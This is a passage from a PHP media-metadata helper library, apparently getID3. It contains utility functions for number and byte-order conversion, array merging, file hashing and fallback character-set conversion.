'.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤'); } if ($spaces) { $returnstring .= ' '; } } if (!empty($htmlencoding)) { if ($htmlencoding === true) { $htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean } $returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding); } return $returnstring; } /** * Truncates a floating-point number at the decimal point. * * @param float $floatnumber * * @return float|int returns int (if possible, otherwise float) */ public static function trunc($floatnumber) { if ($floatnumber >= 1) { $truncatednumber = floor($floatnumber); } elseif ($floatnumber <= -1) { $truncatednumber = ceil($floatnumber); } else { $truncatednumber = 0; } if (self::intValueSupported($truncatednumber)) { $truncatednumber = (int) $truncatednumber; } return $truncatednumber; } /** * @param int|null $variable * @param int $increment * * @return bool */ public static function safe_inc(&$variable, $increment=1) { if (isset($variable)) { $variable += $increment; } else { $variable = $increment; } return true; } /** * @param int|float $floatnum * * @return int|float */ public static function CastAsInt($floatnum) { // convert to float if not already $floatnum = (float) $floatnum; // convert a float to type int, only if possible if (self::trunc($floatnum) == $floatnum) { // it's not floating point if (self::intValueSupported($floatnum)) { // it's within int range $floatnum = (int) $floatnum; } } return $floatnum; } /** * @param int $num * * @return bool */ public static function intValueSupported($num) { // check if integers are 64-bit static $hasINT64 = null; if ($hasINT64 === null) { // 10x faster than is_null() $hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1 if (!$hasINT64 && !defined('PHP_INT_MIN')) { define('PHP_INT_MIN', ~PHP_INT_MAX); } } // if integers are 64-bit - no other check required if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) { return true; } return false; } /** * Perform a division, guarding against division by zero * * @param float|int $numerator * @param float|int $denominator * @param float|int $fallback * @return float|int */ public static function SafeDiv($numerator, $denominator, $fallback = 0) { return $denominator ? $numerator / $denominator : $fallback; } /** * @param string $fraction * * @return float */ public static function DecimalizeFraction($fraction) { list($numerator, $denominator) = explode('/', $fraction); return (int) $numerator / ($denominator ? $denominator : 1); } /** * @param string $binarynumerator * * @return float */ public static function DecimalBinary2Float($binarynumerator) { $numerator = self::Bin2Dec($binarynumerator); $denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator))); return ($numerator / $denominator); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param string $binarypointnumber * @param int $maxbits * * @return array */ public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) { if (strpos($binarypointnumber, '.') === false) { $binarypointnumber = '0.'.$binarypointnumber; } elseif ($binarypointnumber[0] == '.') { $binarypointnumber = '0'.$binarypointnumber; } $exponent = 0; while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) { if (substr($binarypointnumber, 1, 1) == '.') { $exponent--; $binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3); } else { $pointpos = strpos($binarypointnumber, '.'); $exponent += ($pointpos - 1); $binarypointnumber = str_replace('.', '', $binarypointnumber); $binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1); } } $binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT); return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param float $floatvalue * * @return string */ public static function Float2BinaryDecimal($floatvalue) { $maxbits = 128; // to how many bits of precision should the calculations be taken? $intpart = self::trunc($floatvalue); $floatpart = abs($floatvalue - $intpart); $pointbitstring = ''; while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) { $floatpart *= 2; $pointbitstring .= (string) self::trunc($floatpart); $floatpart -= self::trunc($floatpart); } $binarypointnumber = decbin($intpart).'.'.$pointbitstring; return $binarypointnumber; } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html * * @param float $floatvalue * @param int $bits * * @return string|false */ public static function Float2String($floatvalue, $bits) { $exponentbits = 0; $fractionbits = 0; switch ($bits) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; default: return false; } if ($floatvalue >= 0) { $signbit = '0'; } else { $signbit = '1'; } $normalizedbinary = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits); $biasedexponent = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent $exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT); $fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT); return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false); } /** * @param string $byteword * * @return float|false */ public static function LittleEndian2Float($byteword) { return self::BigEndian2Float(strrev($byteword)); } /** * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic * * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html * * @param string $byteword * * @return float|false */ public static function BigEndian2Float($byteword) { $bitword = self::BigEndian2Bin($byteword); if (!$bitword) { return 0; } $signbit = $bitword[0]; $floatvalue = 0; $exponentbits = 0; $fractionbits = 0; switch (strlen($byteword) * 8) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; case 80: // 80-bit Apple SANE format // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ $exponentstring = substr($bitword, 1, 15); $isnormalized = intval($bitword[16]); $fractionstring = substr($bitword, 17, 63); $exponent = pow(2, self::Bin2Dec($exponentstring) - 16383); $fraction = $isnormalized + self::DecimalBinary2Float($fractionstring); $floatvalue = $exponent * $fraction; if ($signbit == '1') { $floatvalue *= -1; } return $floatvalue; default: return false; } $exponentstring = substr($bitword, 1, $exponentbits); $fractionstring = substr($bitword, $exponentbits + 1, $fractionbits); $exponent = self::Bin2Dec($exponentstring); $fraction = self::Bin2Dec($fractionstring); if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) { // Not a Number $floatvalue = NAN; } elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = -INF; } else { $floatvalue = INF; } } elseif (($exponent == 0) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = -0.0; } else { $floatvalue = 0.0; } } elseif (($exponent == 0) && ($fraction != 0)) { // These are 'unnormalized' values $floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring); if ($signbit == '1') { $floatvalue *= -1; } } elseif ($exponent != 0) { $floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring)); if ($signbit == '1') { $floatvalue *= -1; } } return (float) $floatvalue; } /** * @param string $byteword * @param bool $synchsafe * @param bool $signed * * @return int|float|false * @throws Exception */ public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) { $intvalue = 0; $bytewordlen = strlen($byteword); if ($bytewordlen == 0) { return false; } for ($i = 0; $i < $bytewordlen; $i++) { if ($synchsafe) { // disregard MSB, effectively 7-bit bytes //$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems $intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7); } else { $intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i)); } } if ($signed && !$synchsafe) { // synchsafe ints are not allowed to be signed if ($bytewordlen <= PHP_INT_SIZE) { $signMaskBit = 0x80 << (8 * ($bytewordlen - 1)); if ($intvalue & $signMaskBit) { $intvalue = 0 - ($intvalue & ($signMaskBit - 1)); } } else { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()'); } } return self::CastAsInt($intvalue); } /** * @param string $byteword * @param bool $signed * * @return int|float|false */ public static function LittleEndian2Int($byteword, $signed=false) { return self::BigEndian2Int(strrev($byteword), false, $signed); } /** * @param string $byteword * * @return string */ public static function LittleEndian2Bin($byteword) { return self::BigEndian2Bin(strrev($byteword)); } /** * @param string $byteword * * @return string */ public static function BigEndian2Bin($byteword) { $binvalue = ''; $bytewordlen = strlen($byteword); for ($i = 0; $i < $bytewordlen; $i++) { $binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT); } return $binvalue; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * @param bool $signed * * @return string * @throws Exception */ public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) { if ($number < 0) { throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers'); } $maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF); $intstring = ''; if ($signed) { if ($minbytes > PHP_INT_SIZE) { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()'); } $number = $number & (0x80 << (8 * ($minbytes - 1))); } while ($number != 0) { $quotient = ($number / ($maskbyte + 1)); $intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring; $number = floor($quotient); } return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT); } /** * @param int $number * * @return string */ public static function Dec2Bin($number) { if (!is_numeric($number)) { // https://github.com/JamesHeinrich/getID3/issues/299 trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING); return ''; } $bytes = array(); while ($number >= 256) { $bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256; $number = floor($number / 256); } $bytes[] = (int) $number; $binstring = ''; foreach ($bytes as $i => $byte) { $binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring; } return $binstring; } /** * @param string $binstring * @param bool $signed * * @return int|float */ public static function Bin2Dec($binstring, $signed=false) { $signmult = 1; if ($signed) { if ($binstring[0] == '1') { $signmult = -1; } $binstring = substr($binstring, 1); } $decvalue = 0; for ($i = 0; $i < strlen($binstring); $i++) { $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i); } return self::CastAsInt($decvalue * $signmult); } /** * @param string $binstring * * @return string */ public static function Bin2String($binstring) { // return 'hi' for input of '0110100001101001' $string = ''; $binstringreversed = strrev($binstring); for ($i = 0; $i < strlen($binstringreversed); $i += 8) { $string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string; } return $string; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * * @return string */ public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) { $intstring = ''; while ($number > 0) { if ($synchsafe) { $intstring = $intstring.chr($number & 127); $number >>= 7; } else { $intstring = $intstring.chr($number & 255); $number >>= 8; } } return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_clobber($array1, $array2) { // written by kcØhireability*com // taken from http://www.php.net/manual/en/function.array-merge-recursive.php if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_clobber($newarray[$key], $val); } else { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_noclobber($newarray[$key], $val); } elseif (!isset($newarray[$key])) { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false|null */ public static function flipped_array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } # naturally, this only works non-recursively $newarray = array_flip($array1); foreach (array_flip($array2) as $key => $val) { if (!isset($newarray[$key])) { $newarray[$key] = count($newarray); } } return array_flip($newarray); } /** * @param array $theArray * * @return bool */ public static function ksort_recursive(&$theArray) { ksort($theArray); foreach ($theArray as $key => $value) { if (is_array($value)) { self::ksort_recursive($theArray[$key]); } } return true; } /** * @param string $filename * @param int $numextensions * * @return string */ public static function fileextension($filename, $numextensions=1) { if (strstr($filename, '.')) { $reversedfilename = strrev($filename); $offset = 0; for ($i = 0; $i < $numextensions; $i++) { $offset = strpos($reversedfilename, '.', $offset + 1); if ($offset === false) { return ''; } } return strrev(substr($reversedfilename, 0, $offset)); } return ''; } /** * @param int $seconds * * @return string */ public static function PlaytimeString($seconds) { $sign = (($seconds < 0) ? '-' : ''); $seconds = round(abs($seconds)); $H = (int) floor( $seconds / 3600); $M = (int) floor(($seconds - (3600 * $H) ) / 60); $S = (int) round( $seconds - (3600 * $H) - (60 * $M) ); return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT); } /** * @param int $macdate * * @return int|float */ public static function DateMac2Unix($macdate) { // Macintosh timestamp: seconds since 00:00h January 1, 1904 // UNIX timestamp: seconds since 00:00h January 1, 1970 return self::CastAsInt($macdate - 2082844800); } /** * @param string $rawdata * * @return float */ public static function FixedPoint8_8($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint16_16($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint2_30($rawdata) { $binarystring = self::BigEndian2Bin($rawdata); return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30)); } /** * @param string $ArrayPath * @param string $Separator * @param mixed $Value * * @return array */ public static function CreateDeepArray($ArrayPath, $Separator, $Value) { // assigns $Value to a nested array path: // $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt') // is the same as: // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); // or // $foo['path']['to']['my'] = 'file.txt'; $ArrayPath = ltrim($ArrayPath, $Separator); $ReturnedArray = array(); if (($pos = strpos($ArrayPath, $Separator)) !== false) { $ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value); } else { $ReturnedArray[$ArrayPath] = $Value; } return $ReturnedArray; } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_max($arraydata, $returnkey=false) { $maxvalue = false; $maxkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($maxvalue === false) || ($value > $maxvalue)) { $maxvalue = $value; $maxkey = $key; } } } return ($returnkey ? $maxkey : $maxvalue); } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_min($arraydata, $returnkey=false) { $minvalue = false; $minkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($minvalue === false) || ($value < $minvalue)) { $minvalue = $value; $minkey = $key; } } } return ($returnkey ? $minkey : $minvalue); } /** * @param string $XMLstring * * @return array|false */ public static function XML2array($XMLstring) { if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html // https://core.trac.wordpress.org/changeset/29378 // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is // disabled by default, but is still needed when LIBXML_NOENT is used. $loader = @libxml_disable_entity_loader(true); $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS); $return = self::SimpleXMLelement2array($XMLobject); @libxml_disable_entity_loader($loader); return $return; } return false; } /** * @param SimpleXMLElement|array|mixed $XMLobject * * @return mixed */ public static function SimpleXMLelement2array($XMLobject) { if (!is_object($XMLobject) && !is_array($XMLobject)) { return $XMLobject; } $XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject; foreach ($XMLarray as $key => $value) { $XMLarray[$key] = self::SimpleXMLelement2array($value); } return $XMLarray; } /** * Returns checksum for a file from starting position to absolute end position. * * @param string $file * @param int $offset * @param int $end * @param string $algorithm * * @return string|false * @throws getid3_exception */ public static function hash_data($file, $offset, $end, $algorithm) { if (!self::intValueSupported($end)) { return false; } if (!in_array($algorithm, array('md5', 'sha1'))) { throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()'); } $size = $end - $offset; $fp = fopen($file, 'rb'); fseek($fp, $offset); $ctx = hash_init($algorithm); while ($size > 0) { $buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE)); hash_update($ctx, $buffer); $size -= getID3::FREAD_BUFFER_SIZE; } $hash = hash_final($ctx); fclose($fp); return $hash; } /** * @param string $filename_source * @param string $filename_dest * @param int $offset * @param int $length * * @return bool * @throws Exception * * @deprecated Unused, may be removed in future versions of getID3 */ public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) { if (!self::intValueSupported($offset + $length)) { throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit'); } if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) { if (($fp_dest = fopen($filename_dest, 'wb'))) { if (fseek($fp_src, $offset) == 0) { $byteslefttowrite = $length; while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) { $byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite); $byteslefttowrite -= $byteswritten; } fclose($fp_dest); return true; } else { fclose($fp_src); throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source); } } else { throw new Exception('failed to create file for writing '.$filename_dest); } } else { throw new Exception('failed to open file for reading '.$filename_source); } } /** * @param int $charval * * @return string */ public static function iconv_fallback_int_utf8($charval) { if ($charval < 128) { // 0bbbbbbb $newcharstring = chr($charval); } elseif ($charval < 2048) { // 110bbbbb 10bbbbbb $newcharstring = chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } elseif ($charval < 65536) { // 1110bbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 12) | 0xE0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } else { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 18) | 0xF0); $newcharstring .= chr(($charval >> 12) | 0xC0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } return $newcharstring; } /** * ISO-8859-1 => UTF-8 * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf8($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xEF\xBB\xBF"; } for ($i = 0; $i < strlen($string); $i++) { $charval = ord($string[$i]); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * ISO-8859-1 => UTF-16BE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf16be($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFE\xFF"; } for ($i = 0; $i < strlen($string); $i++) { $newcharstring .= "\x00".$string[$i]; } return $newcharstring; } /** * ISO-8859-1 => UTF-16LE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf16le($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFF\xFE"; } for ($i = 0; $i < strlen($string); $i++) { $newcharstring .= $string[$i]."\x00"; } return $newcharstring; } /** * ISO-8859-1 => UTF-16LE (BOM) * * @param string $string * * @return string */ public static function iconv_fallback_iso88591_utf16($string) { return self::iconv_fallback_iso88591_utf16le($string, true); } /** * UTF-8 => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf8_iso88591($string) { $newcharstring = ''; $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? throw some kind of warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } } return $newcharstring; } /** * UTF-8 => UTF-16BE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_utf8_utf16be($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFE\xFF"; } $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? throw some kind of warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?'); } } return $newcharstring; } /** * UTF-8 => UTF-16LE * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_utf8_utf16le($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xFF\xFE"; } $offset = 0; $stringlength = strlen($string); while ($offset < $stringlength) { if ((ord($string[$offset]) | 0x07) == 0xF7) { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & ((ord($string[($offset + 1)]) & 0x3F) << 12) & ((ord($string[($offset + 2)]) & 0x3F) << 6) & (ord($string[($offset + 3)]) & 0x3F); $offset += 4; } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { // 1110bbbb 10bbbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & ((ord($string[($offset + 1)]) & 0x3F) << 6) & (ord($string[($offset + 2)]) & 0x3F); $offset += 3; } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { // 110bbbbb 10bbbbbb $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & (ord($string[($offset + 1)]) & 0x3F); $offset += 2; } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { // 0bbbbbbb $charval = ord($string[$offset]); $offset += 1; } else { // error? maybe throw some warning here? $charval = false; $offset += 1; } if ($charval !== false) { $newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00"); } } return $newcharstring; } /** * UTF-8 => UTF-16LE (BOM) * * @param string $string * * @return string */ public static function iconv_fallback_utf8_utf16($string) { return self::iconv_fallback_utf8_utf16le($string, true); } /** * UTF-16BE => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16be_utf8($string) { if (substr($string, 0, 2) == "\xFE\xFF") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * UTF-16LE => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16le_utf8($string) { if (substr($string, 0, 2) == "\xFF\xFE") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring; } /** * UTF-16BE => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16be_iso88591($string) { if (substr($string, 0, 2) == "\xFE\xFF") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } return $newcharstring; } /** * UTF-16LE => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16le_iso88591($string) { if (substr($string, 0, 2) == "\xFF\xFE") { // strip BOM $string = substr($string, 2); } $newcharstring = ''; for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); $newcharstring .= (($charval < 256) ? chr($charval) : '?'); } return $newcharstring; } /** * UTF-16 (BOM) => ISO-8859-1 * * @param string $string * * @return string */ public static function iconv_fallback_utf16_iso88591($string) { $bom = substr($string, 0, 2); if ($bom == "\xFE\xFF") { return self::iconv_fallback_utf16be_iso88591(substr($string, 2)); } elseif ($bom == "\xFF\xFE") { return self::iconv_fallback_utf16le_iso88591(substr($string, 2)); } return $string; } /** * UTF-16 (BOM) => UTF-8 * * @param string $string * * @return string */ public static function iconv_fallback_utf16_utf8($string) { $bom = substr($string, 0, 2); if ($bom == "\xFE\xFF") { return self::iconv_fallback_utf16be_utf8(substr($string, 2)); } elseif ($bom == "\xFF\xFE") { return self::iconv_fallback_utf16le_utf8(substr($string, 2)); } return $string; } /** * @param string $in_charset * @param string $out_charset * @param string $string * * @return string * @throws Exception */ public static function iconv_fallback($in_charset, $out_charset, $string) { if ($in_charset == $out_charset) { return $string; } // mb_convert_encoding() available if (function_exists('mb_convert_encoding')) { if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) { // if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM $string = "\xFF\xFE".$string; } if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) { if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) { // if string consists of only BOM, mb_convert_encoding will return the BOM unmodified return ''; } } if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) { switch ($out_charset) { case 'ISO-8859-1': $converted_string = rtrim($converted_string, "\x00"); break; } return $converted_string; } return $string; // iconv() available } elseif (function_exists('iconv')) { if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) { switch ($out_charset) { case 'ISO-8859-1': $converted_string = rtrim($converted_string, "\x00"); break; } return $converted_string; } // iconv() may sometimes fail with "illegal character in input string" error message // and return an empty string, but returning the unconverted string is more useful return $string; } // neither mb_convert_encoding or iconv() is available static $ConversionFunctionList = array(); if (empty($ConversionFunctionList)) { $ConversionFunctionList['ISO-8859-1']['UTF-8'] = 'iconv_fallback_iso88591_utf8'; $ConversionFunctionList['ISO-8859-1']['UTF-16'] = 'iconv_fallback_iso88591_utf16'; $ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be'; $ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le'; $ConversionFunctionList['UTF-8']['ISO-8859-1'] = 'iconv_fallback_utf8_iso88591'; $ConversionFunctionList['UTF-8']['UTF-16'] = 'iconv_fallback_utf8_utf16'; $ConversionFunctionList['UTF-8']['UTF-16BE'] = 'iconv_fallback_utf8_utf16be'; $ConversionFunctionList['UTF-8']['UTF-16LE'] = 'iconv_fallback_utf8_utf16le'; $ConversionFunctionList['UTF-16']['ISO-8859-1'] = 'iconv_fallback_utf16_iso88591'; $ConversionFunctionList['UTF-16']['UTF-8'] = 'iconv_fallback_utf16_utf8'; $ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591'; $ConversionFunctionList['UTF-16LE']['UTF-8'] = 'iconv_fallback_utf16le_utf8'; $ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591'; $ConversionFunctionList['UTF-16BE']['UTF-8'] = 'iconv_fallback_utf16be_utf8'; } if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) { $ConversionFunction = 